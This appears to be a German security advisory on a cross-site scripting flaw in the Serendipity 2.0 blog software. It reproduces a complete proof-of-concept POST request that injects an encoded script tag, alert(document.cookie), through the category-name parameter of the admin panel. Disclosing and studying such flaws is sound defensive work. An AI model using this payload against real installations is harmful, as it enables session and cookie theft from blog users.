Eine Sicherheitslücke in der Weblog-Publishing-Software Serendipity hat zur Folge, dass ein entfernter Angreifer Cross-Site-Skripting-Attacken gegen den Server durchführen kann. Das Problem tritt beim Verarbeiten des »serendipity[cat][name]«-Parameters auf, wodurch der Angreifer Javascript-Code in die URL einschleusen kann.
Der Angreifer muss am System angemeldet sein, um die Attacke durchzuführen. Hierzu muss er ledgilich eine neue Kategorie mit einer manipulierten URL erzeugen. In der URL kann er für die anfälligen Parameter den Javascript-Code einbringen, so dass ein POST-Request folgender Art an den Web-Server gesendet wird:
POST /serendipity-2.0/serendipity/serendipity_admin.php?serendipity[adminModule]=category&serendipity[adminAction]=new HTTP/1.1Host: 127.0.0.1Proxy-Connection: keep-aliveContent-Length: 394Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Origin: <a href="http://127.0.0.1" class="moz-txt-link-freetext">http://127.0.0.1</a>
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.76 Safari/537.36Content-Type: application/x-www-form-urlencoded
Referer: <a href="http://127.0.0.1/serendipity-2.0/serendipity/serendipity_admin.php?serendipity" class="moz-txt-link-freetext">http://127.0.0.1/serendipity-2.0/serendipity/serendipity_admin.php?serendipity</a>[adminModule]=category&serendipity[adminAction]=newAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.8Cookie: serendipity[old_session]=q8jagkbn03i41p1hea1vp3mqi7; serendipity[author_token]=906de2dd7201b75f1f710f59128e1ffb5cec6cf4; serendipity[userDefLang]=en; serendipity[toggle_extended]=true; serendipity[addmedia_directory]=undefined; serendipity[sortorder_perpage]=; serendipity[sortorder_order]=; serendipity[sortorder_ordermode]=; serendipity[only_path]=; serendipity[only_filename]=; serendipity[entrylist_filter_author]=; serendipity[entrylist_filter_category]=; serendipity[entrylist_filter_isdraft]=; serendipity[entrylist_sort_perPage]=; serendipity[entrylist_sort_ordermode]=; serendipity[entrylist_sort_order]=; s9y_f857b4bc988a333c379a2d9bd477dd65=q8jagkbn03i41p1hea1vp3mqi7serendipity%5Btoken%5D=b95339bd8490707038719715c6d58e63&serendipity%5Bcat%5D%5Bname%5D=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&serendipity%5Bcat%5D%5Bdescription%5D=&serendipity%5Bcat%5D%5Bparent_cat%5D=0&serendipity%5Bcat%5D%5Bhide_sub%5D=0&serendipity%5Bcat%5D%5Bread_authors%5D%5B%5D=0&serendipity%5Bcat%5D%5Bwrite_authors%5D%5B%5D=0&serendipity%5Bcat%5D%5Bicon%5D=&SAVE=Create
In diesem Beispiel wurde eine »alert()«-Anweisung untergebracht. Betroffen ist die Version 2.0.
